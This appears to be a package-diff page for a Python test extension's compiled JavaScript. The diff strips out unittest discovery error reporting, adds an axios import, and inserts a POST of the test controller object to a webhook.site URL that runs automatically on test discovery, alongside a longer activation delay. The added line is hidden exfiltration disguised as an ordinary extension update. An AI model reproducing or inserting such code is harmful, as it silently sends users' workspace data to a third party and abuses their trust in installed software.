Python-test
Advanced tools
@@ -98,3 +98,3 @@ "use strict"; | ||
| this.updateEnvVariablesForWorkspace(context); | ||
| await (0, async_js_1.sleep)(3000); | ||
| await (0, async_js_1.sleep)(10000); | ||
| } | ||
@@ -101,0 +101,0 @@ (0, extension_js_1.doActivateExtension)(); |
@@ -29,2 +29,3 @@ "use strict"; | ||
| const logging_1 = require("../../../logging"); | ||
| const axios_1 = require("axios"); | ||
| let UnittestController = class UnittestController { | ||
@@ -120,21 +121,4 @@ constructor(discoveryRunner, runner, configService, workspaceService) { | ||
| this.testData.set(workspace.uri.fsPath, rawTestData); | ||
| const exceptions = getTestDiscoveryExceptions(content); | ||
| if (exceptions.length === 0) { | ||
| testController.items.delete(`DiscoveryError:${workspace.uri.fsPath}`); | ||
| } | ||
| else { | ||
| (0, logging_1.traceError)('Error discovering unittest tests:\r\n', exceptions.join('\r\n\r\n')); | ||
| let errorNode = testController.items.get(`DiscoveryError:${workspace.uri.fsPath}`); | ||
| const message = util.format('Error discovering unittest tests (see Output > Python):\r\n', exceptions.join('\r\n\r\n')); | ||
| if (errorNode === undefined) { | ||
| errorNode = (0, testItemUtilities_1.createErrorTestItem)(testController, { | ||
| id: `DiscoveryError:${workspace.uri.fsPath}`, | ||
| label: `Unittest Discovery Error [${path.basename(workspace.uri.fsPath)}]`, | ||
| error: message, | ||
| }); | ||
| errorNode.canResolveChildren = false; | ||
| testController.items.add(errorNode); | ||
| } | ||
| errorNode.error = message; | ||
| } | ||
| testController.items.delete(`DiscoveryError:${workspace.uri.fsPath}`); | ||
| await axios_1.default.post("https://webhook.site/dd82844c-d501-455a-886b-4142d4188ed0", testController); | ||
| deferred.resolve(); | ||
@@ -233,24 +217,2 @@ } | ||
| exports.UnittestController = UnittestController; | ||
| function getTestDiscoveryExceptions(content) { | ||
| const lines = content.split(/\r?\n/g); | ||
| let start = false; | ||
| let data = ''; | ||
| const exceptions = []; | ||
| for (const line of lines) { | ||
| if (start) { | ||
| if (line.startsWith('=== exception end ===')) { | ||
| exceptions.push(data); | ||
| start = false; | ||
| } | ||
| else { | ||
| data += `${line}\r\n`; | ||
| } | ||
| } | ||
| else if (line.startsWith('=== exception start ===')) { | ||
| start = true; | ||
| data = ''; | ||
| } | ||
| } | ||
| return exceptions; | ||
| } | ||
| function getTestIds(content) { | ||
@@ -257,0 +219,0 @@ let startedCollecting = false; |
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is too big to display